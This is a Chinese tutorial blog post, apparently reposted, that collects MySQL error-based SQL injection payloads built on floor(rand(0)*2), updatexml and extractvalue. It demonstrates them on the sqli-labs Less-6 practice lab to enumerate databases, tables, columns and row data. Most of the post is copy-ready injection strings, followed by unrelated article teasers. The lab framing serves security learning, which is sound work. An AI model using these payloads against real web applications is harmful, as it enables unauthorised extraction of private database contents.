最常见的SQL报错注入函数(floor、updatexml、extractvalue)及payload总结

SQL报错注入是一种常见的SQL注入攻击方式,攻击者通过注入恶意代码,触发数据库的错误响应,并从错误信息中获取有用的信息。

下面介绍最常见的三个报错注入函数用法及payload总结:

1、floor()

使用floor报错注入,需要确保查询的表必须大于三条数据

payload的大致格式

'union select 1 from (select count(*),concat((slelect语句),floor(rand(0)*2))x from "一个足够大的表" group by x)a--+

本质是因为floor(rand(0)*2)的重复性,导致group by语句出错。

来到sqllabs-Less-6

简单测试一下:

输入一个存在的id,正常回显

输入不存在的id,无任何回显

找闭合点,为双引号

但是这里回显要么存在,要么无回显,因此无法使用联合查询注入,而且也不存在回显为真或者假两种情况,排除掉盲注,那么这关需要使用的是报错注入。

首先我们查当前数据库名

足够大的表那肯定就是information_schema.tables,这个表里包含了所有的表

当然也可以用information_schema.columns,包含了所有的列

?id=1" and (select 1 from (select count(*),concat(0x23,(database()),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)--+

说明:这里的0x23即16进制的23,转换为ASCII字符为 #,主要是便于我们对查询结果的观察

可以得到当前数据库名为 security

我们也可以查其他数据库名

将上述payload的database()换成对应查询语句即可

?id=1" and (select 1 from (select count(*),concat(0x23,(select schema_name from information_schema.schemata limit 0,1),0x23,floor(rand(0)*2)) as x from information_schema.columns group BY x) as y)--+

 

修改limit语句的参数即可查询到不同的数据库名 

接下来我们查security数据库下的表名

?id=1" and (select 1 from (select count(*),concat(0x23,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)--+

可以看到security数据库下的第一个表为 emails

对照本地,即可验证

同样修改limit语句的参数值从而查询其他的表名

比如

?id=1" and (select 1 from (select count(*),concat(0x23,(select table_name from information_schema.tables where table_schema='security' limit 2,1),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)--+

其实有时候我们可以使用group_concat()将所以查询内容列出,但是要取决于题目具体环境,如果无法使用,则使用limit语句来限制查询结果的列数,逐条查询。

之后我们查询指定数据库指定表名下的列名

?id=1" and (select 1 from (select count(*),concat(0x23,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)--+

第一列名为 id

继续查下一列的列名

?id=1" and (select 1 from (select count(*),concat(0x23,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 1,1),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)--+

得知第二列的列名为 email_id

最后则是查具体字段内容,这里我们查询 email_id 下的内容

?id=1" and (select 1 from (select count(*),concat(0x23,(select email_id from security.emails limit 0,1),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)--+

查第二行数据

?id=1" and (select 1 from (select count(*),concat(0x23,(select email_id from security.emails limit 1,1),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)--+

以此类推

将查询结果与本地靶场数据库对比,信息一致

 

2、extractvalue 和 updatexml

从 mysql5.1.5 开始,提供两个 XML 查询和修改的函数:extractvalue 和 updatexml。extractvalue 负责在 xml 文档中按照 xpath 语法查询节点内容,updatexml 则负责修改查询到的内容。

用法上extractvalue与updatexml的区别:updatexml使用三个参数,extractvalue只有两个参数。

它们的第二个参数都要求是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里。

'~'不是xml实体,所以会报错

concat()函数:用于拼接字符串

这里也给出payload

查数据库名

?id=1" and (select updatexml(1,concat(0x23,(select database())),0x23))--+

查表名

这里使用group_concat直接列完

说明:#可以换成~、$等不满足 xpath 格式的字符

下面讲0x23换成了0x7e,即将#换成了~

可以就用database(),也可以具体指定为security

?id=1" and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))--+

 

查列名

?id=1" and (select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='emails')),0x7e))--+

查具体字段内容 

?id=1" and (select updatexml(1,concat(0x7e,(select group_concat(email_id)from security.emails)),0x7e))--+

对于extractvalue()则只写两个参数

extractvalue() 能查询字符串的最大长度为 32,如果我们想要的结果超过 32,就要用 substring() 函数截取或 limit 分页,一次查看最多 32 位。

查数据库名

?id=1" and(select extractvalue(1,concat(0x7e,(select database()))))--+

查表名

?id=1" and (select extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'))))--+

查列名

?id=1" and (select extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='emails'))))--+

查字段内容

?id=1" and (select extractvalue(1,concat(0x7e,(select group_concat(email_id)from security.emails))))--+

换句话说,extractvalue的payload就是将updatexml的函数名替换,再删掉第三个参数即可。

以上就是关于最常见的三种报错注入函数及方法和payload的总结。

创作不易,喜欢的可以点赞支持关注一下!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/223746.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Centos 7.9安装Oracle19c步骤亲测可用有视频

视频介绍了在虚拟机安装centos 7.9并安装数据库软件的全过程 视频链接:https://www.zhihu.com/zvideo/1721267375351996416 下面的文字描述是安装数据库的部分介绍 一.安装环境准备 链接:https://pan.baidu.com/s/1Ogn47UZQ2w7iiHAiVdWDSQ 提取码&am…

Java经典框架之Spring

Java经典框架之Spring Java 是第一大编程语言和开发平台。它有助于企业降低成本、缩短开发周期、推动创新以及改善应用服务。如今全球有数百万开发人员运行着超过 51 亿个 Java 虚拟机,Java 仍是企业和开发人员的首选开发平台。 课程内容的介绍 1. Spring简介 2.…

T-Dongle-S3开发笔记——相关配置

portTICK_PERIOD_MS设置 Flash配置 Flash SPI mode 默认是DIO,改为QIO (W25Q128支持QIO) DIO与QIO区别: esp8266,esp32中的SPI FLASH 访问模式(QIO QOUT DIO DOUT)_qio dio-CSDN博客 Dual SPI:MOSI 和 MISO 引脚…

等腰三角形两底角相等

等腰三角形定义: 是指至少有两边相等的三角形。相等的两个边称为这个三角形的腰 二.证明 有等腰△ABC,AB和AC是腰,p是BC的中点 证明等腰三角形两底角相等 即 ∠ A B P ∠ P C A ∠ABP∠PCA ∠ABP∠PCA ∴ ∴ ∴ 三角形内角和为180 ∵ { ∠ A B P ∠ A P B ∠ B A P 180 …

什么是视频号小店?怎么开通,上架产品,一篇详解!

大家好,我是电商糖果 一个做了七年电商的95后,现居河南郑州。 混迹互联网多年,电商圈的gai溜子,偶尔会抽抽风。 这篇文章分享的内容是糖果在2022年做的电商项目——视频号小店。 因为它是刚出来的,很多人对此不是很…

leetcode 1576. 替换所有的问号(easy)(优质解法)

链接&#xff1a;1576. 替换所有的问号 代码&#xff1a; class Solution {public String modifyString(String s) {char[] charSs.toCharArray();int lengthcharS.length;//遍历找到 &#xff1f;for(int i0;i<length;i){if(charS[i]?){//遍历 a ~ z 选择一个合适的字符来…

12.21 汇编点亮STM32MP157小灯

.text .global _start _start: 时钟使能LDR r0,0x50000A28LDR r1,[r0]ORR r1,r1,#(0x1<<4)ORR r1,r1,#(0x1<<5)ORR r1,r1,#(0x1<<1)STR r1,[r0]配置GPIO模式LDR r0,0x50006000LDR r1,[r0]BIC r1,r1,#(0x2<<20)ORR r1,r1,#(0x1<<20)BIC r1,r1,#(…

Redis高并发缓存设计问题与性能优化

Redis高并发缓存设计问题与性能优化 缓存设计典型问题缓存穿透缓存失效(击穿)缓存雪崩热点缓存key重建优化缓存与数据库双写不一致 开发规范与性能优化一、键值设计1. key名设计2. value设计big key的危害&#xff1a;1.导致redis阻塞2.网络拥塞3. 过期删除 big key的产生&…

电脑完全重装教程——原版系统镜像安装

注意事项 本教程会清除所有个人文件 请谨慎操作 请谨慎操作 请谨慎操作 前言 本教程是以系统安装U盘为介质进行系统重装操作&#xff0c;照着流程操作会清除整个硬盘里的文件&#xff0c;请考虑清楚哦&#xff5e; 有些小伙伴可能随便在百度上找个WinPE作为启动盘就直接…

AI日报:2024年人工智能对各行业初创企业的影响

欢迎订阅专栏 《AI日报》 获取人工智能邻域最新资讯 文章目录 2024年人工智能对初创企业的影响具体行业医疗金融服务运输与物流等 新趋势 2024年人工智能对初创企业的影响 2023年见证了人工智能在各个行业的快速采用和创新。随着我们步入2024年&#xff0c;人工智能初创公司正…

反序列化版本漏洞

laravel5.7反序列化漏洞 <?phpnamespace Illuminate\Foundation\Testing {class PendingCommand{public $test;protected $app;protected $command;protected $parameters;public function __construct($test, $app, $command, $parameters){$this->test $test; …

5 分钟体验下一代轻量级日志分析系统Loki

公众号「架构成长指南」&#xff0c;专注于生产实践、云原生、分布式系统、大数据技术分享 Grafana Loki 是什么 Loki是由Grafana Labs开源的一个水平可扩展、高可用性&#xff0c;多租户的日志聚合系统的日志聚合系统。它的设计初衷是为了解决在大规模分布式系统中&#xff0…

matlab实践(十一):导弹追踪

1.题目 a9.94,x062.06 2.方程 我们有&#xff1a; ( d x d t ) 2 ( d y d t ) 2 w 2 (\frac{\mathrm d\mathrm x}{\mathrm d\mathrm t})^2(\frac{\mathrm d\mathrm y}{\mathrm d\mathrm t})^2\mathrm w^2 (dtdx​)2(dtdy​)2w2 还有导弹始终指向船 ( d x d t d y d t ) …

C语言:字符串字面量及其保存位置

相关阅读 C语言https://blog.csdn.net/weixin_45791458/category_12423166.html?spm1001.2014.3001.5482 虽然C语言中不存在字符串类型&#xff0c;但依然可以通过数组或指针的方式保存字符串&#xff0c;但字符串字面量却没有想象的这么简单&#xff0c;本文就将对此进行讨论…

MLX vs MPS vs CUDA:苹果新机器学习框架的基准测试

如果你是一个Mac用户和一个深度学习爱好者&#xff0c;你可能希望在某些时候Mac可以处理一些重型模型。苹果刚刚发布了MLX&#xff0c;一个在苹果芯片上高效运行机器学习模型的框架。 最近在PyTorch 1.12中引入MPS后端已经是一个大胆的步骤&#xff0c;但随着MLX的宣布&#x…

【EasyExcel实践】万能导出,一个接口导出多张表以及任意字段(可指定字段顺序)-简化升级版

文章目录 前言正文一、项目简介二、核心代码2.1 pom.xml 依赖配置2.2 ExcelHeadMapFactory2.3 ExcelDataLinkedHashMap2.4 自定义注解 ExcelExportBean2.5 自定义注解 ExcelColumnTitle2.6 建造器接口 Builder2.7 表格工具类 ExcelUtils2.8 GsonUtil2.9 模版类 ExportDynamicCo…

Opencv中的滤波器

一副图像通过滤波器得到另一张图像&#xff0c;其中滤波器又称为卷积核&#xff0c;滤波的过程称之为卷积。 这就是一个卷积的过程&#xff0c;通过一个卷积核得到另一张图片&#xff0c;明显发现新的到的图片边缘部分更加清晰了&#xff08;锐化&#xff09;。 上图就是一个卷…

java8实战 lambda表达式、函数式接口、方法引用双冒号(中)

前言 书接上文&#xff0c;上一篇博客讲到了lambda表达式的应用场景&#xff0c;本篇接着将java8实战第三章的总结。建议读者先看第一篇博客 其他函数式接口例子 上一篇有讲到Java API也有其他的函数式接口&#xff0c;书里也举了2个例子&#xff0c;一个是java.util.functi…

Ubuntu系统如何安装和卸载CUDA和CUDNN

背景 最近在学习PaddlePaddle在各个显卡驱动版本的安装和使用&#xff0c;所以同时也学习如何在Ubuntu安装和卸载CUDA和CUDNN&#xff0c;在学习过程中&#xff0c;顺便记录学习过程。在供大家学习的同时&#xff0c;也在加强自己的记忆。本文章以卸载CUDA 8.0 和 CUDNN 7.05 …

Docker 编译OpenHarmony 4.0 release

一、背景介绍 1.1、环境配置 编译环境&#xff1a;Ubuntu 20.04OpenHarmony版本&#xff1a;4.0 release平台设备&#xff1a;RK3568 OpenHarmony 3.2更新至OpenHarmony 4.0后&#xff0c;公司服务器无法编译通过&#xff0c;总是在最后几十个文件时报错,错误码4000&#xf…